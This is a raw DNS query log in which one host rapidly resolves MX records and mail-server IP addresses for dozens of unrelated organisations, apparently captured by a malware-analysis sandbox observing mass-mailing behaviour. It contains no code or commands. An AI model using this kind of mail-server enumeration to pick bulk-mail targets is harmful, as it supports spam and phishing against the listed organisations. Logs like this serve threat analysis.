Aug 24, 2023 19:04:08.354384899 CEST	8.8.8.8	192.168.2.8	0x76c4	No error (0)	royallepage.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.354384899 CEST	8.8.8.8	192.168.2.8	0x76c4	No error (0)	royallepage.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.354384899 CEST	8.8.8.8	192.168.2.8	0x76c4	No error (0)	royallepage.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.397912025 CEST	8.8.8.8	192.168.2.8	0x919c	No error (0)	wilbrad.com.au			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.397912025 CEST	8.8.8.8	192.168.2.8	0x919c	No error (0)	wilbrad.com.au			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.524063110 CEST	8.8.8.8	192.168.2.8	0xb409	No error (0)	hult.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.524063110 CEST	8.8.8.8	192.168.2.8	0xb409	No error (0)	hult.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.537796974 CEST	8.8.8.8	192.168.2.8	0xff2d	No error (0)	au-smtp-inbound-2.mimecast.com		103.96.22.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.537796974 CEST	8.8.8.8	192.168.2.8	0xff2d	No error (0)	au-smtp-inbound-2.mimecast.com		103.13.69.26	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.561367989 CEST	8.8.8.8	192.168.2.8	0xf900	No error (0)	hult-edu.mail.protection.outlook.com		52.101.68.32	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.561367989 CEST	8.8.8.8	192.168.2.8	0xf900	No error (0)	hult-edu.mail.protection.outlook.com		52.101.68.18	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.561367989 CEST	8.8.8.8	192.168.2.8	0xf900	No error (0)	hult-edu.mail.protection.outlook.com		52.101.73.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.561367989 CEST	8.8.8.8	192.168.2.8	0xf900	No error (0)	hult-edu.mail.protection.outlook.com		52.101.68.36	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.561367989 CEST	8.8.8.8	192.168.2.8	0xf900	No error (0)	hult-edu.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.561367989 CEST	8.8.8.8	192.168.2.8	0xf900	No error (0)	hult-edu.mail.protection.outlook.com		52.101.73.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.561367989 CEST	8.8.8.8	192.168.2.8	0xf900	No error (0)	hult-edu.mail.protection.outlook.com		52.101.73.11	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.561367989 CEST	8.8.8.8	192.168.2.8	0xf900	No error (0)	hult-edu.mail.protection.outlook.com		52.101.68.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.735327005 CEST	8.8.8.8	192.168.2.8	0xef0	No error (0)	sylvanlearning.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.735327005 CEST	8.8.8.8	192.168.2.8	0xef0	No error (0)	sylvanlearning.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.735327005 CEST	8.8.8.8	192.168.2.8	0xef0	No error (0)	sylvanlearning.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.735327005 CEST	8.8.8.8	192.168.2.8	0xef0	No error (0)	sylvanlearning.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.770867109 CEST	8.8.8.8	192.168.2.8	0xcbf7	No error (0)	ontario.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:08.807660103 CEST	8.8.8.8	192.168.2.8	0xc561	No error (0)	ontario-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.807660103 CEST	8.8.8.8	192.168.2.8	0xc561	No error (0)	ontario-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:08.854960918 CEST	8.8.8.8	192.168.2.8	0x94d0	No error (0)	sylvanlearning.com.mx1.sylvanlearning.rcimx.net		208.80.204.155	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.037863970 CEST	8.8.8.8	192.168.2.8	0x337f	No error (0)	allocadia.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.084482908 CEST	8.8.8.8	192.168.2.8	0x93aa	No error (0)	allocadia-com.mail.protection.outlook.com		52.101.68.32	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.084482908 CEST	8.8.8.8	192.168.2.8	0x93aa	No error (0)	allocadia-com.mail.protection.outlook.com		52.101.73.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.084482908 CEST	8.8.8.8	192.168.2.8	0x93aa	No error (0)	allocadia-com.mail.protection.outlook.com		52.101.68.21	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.084482908 CEST	8.8.8.8	192.168.2.8	0x93aa	No error (0)	allocadia-com.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.084482908 CEST	8.8.8.8	192.168.2.8	0x93aa	No error (0)	allocadia-com.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.084482908 CEST	8.8.8.8	192.168.2.8	0x93aa	No error (0)	allocadia-com.mail.protection.outlook.com		52.101.73.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.084482908 CEST	8.8.8.8	192.168.2.8	0x93aa	No error (0)	allocadia-com.mail.protection.outlook.com		52.101.68.16	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.109424114 CEST	8.8.8.8	192.168.2.8	0x97fe	No error (0)	timbermark.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.109424114 CEST	8.8.8.8	192.168.2.8	0x97fe	No error (0)	timbermark.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.109424114 CEST	8.8.8.8	192.168.2.8	0x97fe	No error (0)	timbermark.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.109424114 CEST	8.8.8.8	192.168.2.8	0x97fe	No error (0)	timbermark.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.239757061 CEST	8.8.8.8	192.168.2.8	0xa73d	No error (0)	mts.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.396927118 CEST	8.8.8.8	192.168.2.8	0x58ec	No error (0)	mx.mymts.net		140.238.150.69	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.441345930 CEST	8.8.8.8	192.168.2.8	0x50ef	Name error (3)	cngglobalservices.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.557776928 CEST	8.8.8.8	192.168.2.8	0xd27b	No error (0)	uwaterloo.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.557776928 CEST	8.8.8.8	192.168.2.8	0xd27b	No error (0)	uwaterloo.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.589618921 CEST	8.8.8.8	192.168.2.8	0x4789	No error (0)	teledynedalsa.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.589618921 CEST	8.8.8.8	192.168.2.8	0x4789	No error (0)	teledynedalsa.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.589618921 CEST	8.8.8.8	192.168.2.8	0x4789	No error (0)	teledynedalsa.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.589618921 CEST	8.8.8.8	192.168.2.8	0x4789	No error (0)	teledynedalsa.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.604602098 CEST	8.8.8.8	192.168.2.8	0xcd55	No error (0)	mx2.hc503-62.ca.iphmx.com		216.71.131.13	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.604602098 CEST	8.8.8.8	192.168.2.8	0xcd55	No error (0)	mx2.hc503-62.ca.iphmx.com		216.71.134.223	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.622250080 CEST	8.8.8.8	192.168.2.8	0xd95b	No error (0)	us1mail01.teledyne.com		140.165.202.241	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.712743998 CEST	8.8.8.8	192.168.2.8	0xc573	No error (0)	iphouse.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.712743998 CEST	8.8.8.8	192.168.2.8	0xc573	No error (0)	iphouse.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.812555075 CEST	8.8.8.8	192.168.2.8	0x34e7	No error (0)	ia.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.812555075 CEST	8.8.8.8	192.168.2.8	0x34e7	No error (0)	ia.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.886116028 CEST	8.8.8.8	192.168.2.8	0x94c8	No error (0)	mxfilter-2.iphouse.net		216.250.188.217	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:09.887180090 CEST	8.8.8.8	192.168.2.8	0xd4d6	No error (0)	sunnybrook.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.887180090 CEST	8.8.8.8	192.168.2.8	0xd4d6	No error (0)	sunnybrook.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:09.982444048 CEST	8.8.8.8	192.168.2.8	0xb7bd	No error (0)	mxa-002e1901.gslb.pphosted.com		67.231.158.71	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.026678085 CEST	8.8.8.8	192.168.2.8	0x3f7d	No error (0)	mxb-001b7a02.gslb.pphosted.com		67.231.151.96	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.184576035 CEST	8.8.8.8	192.168.2.8	0x2e7b	No error (0)	baskes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.184576035 CEST	8.8.8.8	192.168.2.8	0x2e7b	No error (0)	baskes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.184576035 CEST	8.8.8.8	192.168.2.8	0x2e7b	No error (0)	baskes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.184576035 CEST	8.8.8.8	192.168.2.8	0x2e7b	No error (0)	baskes.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.213592052 CEST	8.8.8.8	192.168.2.8	0xcdd5	No error (0)	mx4c28.concentric.com		66.226.70.73	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.284784079 CEST	8.8.8.8	192.168.2.8	0xa7a9	No error (0)	novinium.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.284784079 CEST	8.8.8.8	192.168.2.8	0xa7a9	No error (0)	novinium.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.319442034 CEST	8.8.8.8	192.168.2.8	0x2fc	No error (0)	mx1.hc3145-28.iphmx.com		139.138.33.188	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.319442034 CEST	8.8.8.8	192.168.2.8	0x2fc	No error (0)	mx1.hc3145-28.iphmx.com		139.138.33.186	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.319442034 CEST	8.8.8.8	192.168.2.8	0x2fc	No error (0)	mx1.hc3145-28.iphmx.com		139.138.57.169	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.319442034 CEST	8.8.8.8	192.168.2.8	0x2fc	No error (0)	mx1.hc3145-28.iphmx.com		139.138.57.165	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.337187052 CEST	8.8.8.8	192.168.2.8	0xb37e	No error (0)	designflooring.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.337187052 CEST	8.8.8.8	192.168.2.8	0xb37e	No error (0)	designflooring.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.375396967 CEST	8.8.8.8	192.168.2.8	0x5e56	No error (0)	d298121b.ess.barracudanetworks.com		209.222.82.255	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.375396967 CEST	8.8.8.8	192.168.2.8	0x5e56	No error (0)	d298121b.ess.barracudanetworks.com		209.222.82.252	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.375396967 CEST	8.8.8.8	192.168.2.8	0x5e56	No error (0)	d298121b.ess.barracudanetworks.com		209.222.82.253	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.402762890 CEST	8.8.8.8	192.168.2.8	0xe3e3	Name error (3)	prominent-personnel.ca	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.465123892 CEST	8.8.8.8	192.168.2.8	0x3bee	No error (0)	jmfunderground.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.465123892 CEST	8.8.8.8	192.168.2.8	0x3bee	No error (0)	jmfunderground.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.465123892 CEST	8.8.8.8	192.168.2.8	0x3bee	No error (0)	jmfunderground.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.465123892 CEST	8.8.8.8	192.168.2.8	0x3bee	No error (0)	jmfunderground.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.465123892 CEST	8.8.8.8	192.168.2.8	0x3bee	No error (0)	jmfunderground.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.522077084 CEST	8.8.8.8	192.168.2.8	0xe135	No error (0)	golden.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.671863079 CEST	8.8.8.8	192.168.2.8	0x8d32	No error (0)	mailrouter.execulink.com		199.166.6.104	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.802967072 CEST	8.8.8.8	192.168.2.8	0xe538	No error (0)	lefko.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.853290081 CEST	8.8.8.8	192.168.2.8	0xaeb4	Name error (3)	pneusgriff.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.859061956 CEST	8.8.8.8	192.168.2.8	0xeb78	No error (0)	cityofselkirk.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.905240059 CEST	8.8.8.8	192.168.2.8	0xdaec	No error (0)	cityofselkirk-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.905240059 CEST	8.8.8.8	192.168.2.8	0xdaec	No error (0)	cityofselkirk-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.923870087 CEST	8.8.8.8	192.168.2.8	0xe2d4	No error (0)	leealmstrom.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.927187920 CEST	8.8.8.8	192.168.2.8	0xe4b9	No error (0)	mail.lefko.net	lefko.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 24, 2023 19:04:10.927187920 CEST	8.8.8.8	192.168.2.8	0xe4b9	No error (0)	lefko.net		23.235.223.184	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:10.965622902 CEST	8.8.8.8	192.168.2.8	0xe1f8	No error (0)	saugususd.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.965622902 CEST	8.8.8.8	192.168.2.8	0xe1f8	No error (0)	saugususd.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.965622902 CEST	8.8.8.8	192.168.2.8	0xe1f8	No error (0)	saugususd.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.965622902 CEST	8.8.8.8	192.168.2.8	0xe1f8	No error (0)	saugususd.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.965622902 CEST	8.8.8.8	192.168.2.8	0xe1f8	No error (0)	saugususd.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.987946987 CEST	8.8.8.8	192.168.2.8	0x8978	No error (0)	torontopolice.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:10.987946987 CEST	8.8.8.8	192.168.2.8	0x8978	No error (0)	torontopolice.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.015650034 CEST	8.8.8.8	192.168.2.8	0xe32b	No error (0)	mail2.torontopolice.on.ca		159.6.99.217	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:11.040889978 CEST	8.8.8.8	192.168.2.8	0xe173	No error (0)	mail.myrealpage.com		174.129.206.125	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:11.604979038 CEST	8.8.8.8	192.168.2.8	0x17f7	No error (0)	crowtreesstudio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.604979038 CEST	8.8.8.8	192.168.2.8	0x17f7	No error (0)	crowtreesstudio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.604979038 CEST	8.8.8.8	192.168.2.8	0x17f7	No error (0)	crowtreesstudio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.604979038 CEST	8.8.8.8	192.168.2.8	0x17f7	No error (0)	crowtreesstudio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.604979038 CEST	8.8.8.8	192.168.2.8	0x17f7	No error (0)	crowtreesstudio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.604979038 CEST	8.8.8.8	192.168.2.8	0x17f7	No error (0)	crowtreesstudio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.604979038 CEST	8.8.8.8	192.168.2.8	0x17f7	No error (0)	crowtreesstudio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.765161037 CEST	8.8.8.8	192.168.2.8	0x8346	Name error (3)	enzoenergyservices.ca	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:11.999471903 CEST	8.8.8.8	192.168.2.8	0xdc14	No error (0)	reyesholdings.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.008790970 CEST	8.8.8.8	192.168.2.8	0x7b75	No error (0)	kcdsb.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.044699907 CEST	8.8.8.8	192.168.2.8	0xbd56	No error (0)	reyesholdings-com.mail.protection.outlook.com		52.101.40.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.044699907 CEST	8.8.8.8	192.168.2.8	0xbd56	No error (0)	reyesholdings-com.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.044699907 CEST	8.8.8.8	192.168.2.8	0xbd56	No error (0)	reyesholdings-com.mail.protection.outlook.com		52.101.42.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.044699907 CEST	8.8.8.8	192.168.2.8	0xbd56	No error (0)	reyesholdings-com.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.044699907 CEST	8.8.8.8	192.168.2.8	0xbd56	No error (0)	reyesholdings-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.044699907 CEST	8.8.8.8	192.168.2.8	0xbd56	No error (0)	reyesholdings-com.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.044699907 CEST	8.8.8.8	192.168.2.8	0xbd56	No error (0)	reyesholdings-com.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.075589895 CEST	8.8.8.8	192.168.2.8	0xd6f3	No error (0)	golder.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.101013899 CEST	8.8.8.8	192.168.2.8	0x1c04	No error (0)	ngenia.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.115005016 CEST	8.8.8.8	192.168.2.8	0x87cf	No error (0)	golder-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.115005016 CEST	8.8.8.8	192.168.2.8	0x87cf	No error (0)	golder-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.143430948 CEST	8.8.8.8	192.168.2.8	0xaed2	No error (0)	ngenia-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.143430948 CEST	8.8.8.8	192.168.2.8	0xaed2	No error (0)	ngenia-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.175781012 CEST	8.8.8.8	192.168.2.8	0x445	No error (0)	kcdsb-on-ca.mail.eo.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.175781012 CEST	8.8.8.8	192.168.2.8	0x445	No error (0)	kcdsb-on-ca.mail.eo.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.363148928 CEST	8.8.8.8	192.168.2.8	0x70d	No error (0)	safholland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.363148928 CEST	8.8.8.8	192.168.2.8	0x70d	No error (0)	safholland.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.391874075 CEST	8.8.8.8	192.168.2.8	0x6162	No error (0)	rncan.gc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.429544926 CEST	8.8.8.8	192.168.2.8	0xa7b1	No error (0)	rncan-gc-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.429544926 CEST	8.8.8.8	192.168.2.8	0xa7b1	No error (0)	rncan-gc-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.490098953 CEST	8.8.8.8	192.168.2.8	0xe459	No error (0)	trendmicro.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.490098953 CEST	8.8.8.8	192.168.2.8	0xe459	No error (0)	trendmicro.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.490098953 CEST	8.8.8.8	192.168.2.8	0xe459	No error (0)	trendmicro.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.490098953 CEST	8.8.8.8	192.168.2.8	0xe459	No error (0)	trendmicro.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.490098953 CEST	8.8.8.8	192.168.2.8	0xe459	No error (0)	trendmicro.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.490098953 CEST	8.8.8.8	192.168.2.8	0xe459	No error (0)	trendmicro.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.490098953 CEST	8.8.8.8	192.168.2.8	0xe459	No error (0)	trendmicro.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.490098953 CEST	8.8.8.8	192.168.2.8	0xe459	No error (0)	trendmicro.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.532785892 CEST	8.8.8.8	192.168.2.8	0x4dda	No error (0)	mxa-001e1301.gslb.pphosted.com		148.163.157.37	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.542198896 CEST	8.8.8.8	192.168.2.8	0xe143	No error (0)	sjdc-itpf-01.udc.trendmicro.com		66.180.82.129	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.720758915 CEST	8.8.8.8	192.168.2.8	0xc00c	No error (0)	spm.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.758888006 CEST	8.8.8.8	192.168.2.8	0xe3a	No error (0)	spm-net.mail.protection.outlook.com		104.47.58.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.758888006 CEST	8.8.8.8	192.168.2.8	0xe3a	No error (0)	spm-net.mail.protection.outlook.com		104.47.70.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.791630030 CEST	8.8.8.8	192.168.2.8	0x742	No error (0)	milk.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:12.831384897 CEST	8.8.8.8	192.168.2.8	0x508c	No error (0)	milk-org.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.831384897 CEST	8.8.8.8	192.168.2.8	0x508c	No error (0)	milk-org.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:12.943367958 CEST	8.8.8.8	192.168.2.8	0x2218	No error (0)	bigpond.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.030720949 CEST	8.8.8.8	192.168.2.8	0xd01f	No error (0)	centralgrp.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.030720949 CEST	8.8.8.8	192.168.2.8	0xd01f	No error (0)	centralgrp.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.089621067 CEST	8.8.8.8	192.168.2.8	0x6e0a	No error (0)	centralgrp-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.089621067 CEST	8.8.8.8	192.168.2.8	0x6e0a	No error (0)	centralgrp-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.104011059 CEST	8.8.8.8	192.168.2.8	0xef5f	No error (0)	usa.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.104011059 CEST	8.8.8.8	192.168.2.8	0xef5f	No error (0)	usa.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.270159960 CEST	8.8.8.8	192.168.2.8	0xf19	No error (0)	extmail.bigpond.com		203.42.40.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.270159960 CEST	8.8.8.8	192.168.2.8	0xf19	No error (0)	extmail.bigpond.com		203.42.22.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.353557110 CEST	8.8.8.8	192.168.2.8	0xd820	No error (0)	blackpagesohio.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.515826941 CEST	8.8.8.8	192.168.2.8	0xb989	No error (0)	mail.blackpagesohio.com		192.185.121.109	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.580703020 CEST	8.8.8.8	192.168.2.8	0x267b	No error (0)	addictivemobility.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.580703020 CEST	8.8.8.8	192.168.2.8	0x267b	No error (0)	addictivemobility.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.580703020 CEST	8.8.8.8	192.168.2.8	0x267b	No error (0)	addictivemobility.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.580703020 CEST	8.8.8.8	192.168.2.8	0x267b	No error (0)	addictivemobility.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.580703020 CEST	8.8.8.8	192.168.2.8	0x267b	No error (0)	addictivemobility.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.679420948 CEST	8.8.8.8	192.168.2.8	0x18ba	No error (0)	harlequin.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.679420948 CEST	8.8.8.8	192.168.2.8	0x18ba	No error (0)	harlequin.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.682951927 CEST	8.8.8.8	192.168.2.8	0x84fc	No error (0)	sabic.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.682951927 CEST	8.8.8.8	192.168.2.8	0x84fc	No error (0)	sabic.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.711591959 CEST	8.8.8.8	192.168.2.8	0xcdfc	No error (0)	cluster4a.eu.messagelabs.com		46.137.95.199	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.759437084 CEST	8.8.8.8	192.168.2.8	0x4be2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.759437084 CEST	8.8.8.8	192.168.2.8	0x4be2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.759437084 CEST	8.8.8.8	192.168.2.8	0x4be2	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.759437084 CEST	8.8.8.8	192.168.2.8	0x4be2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)	false
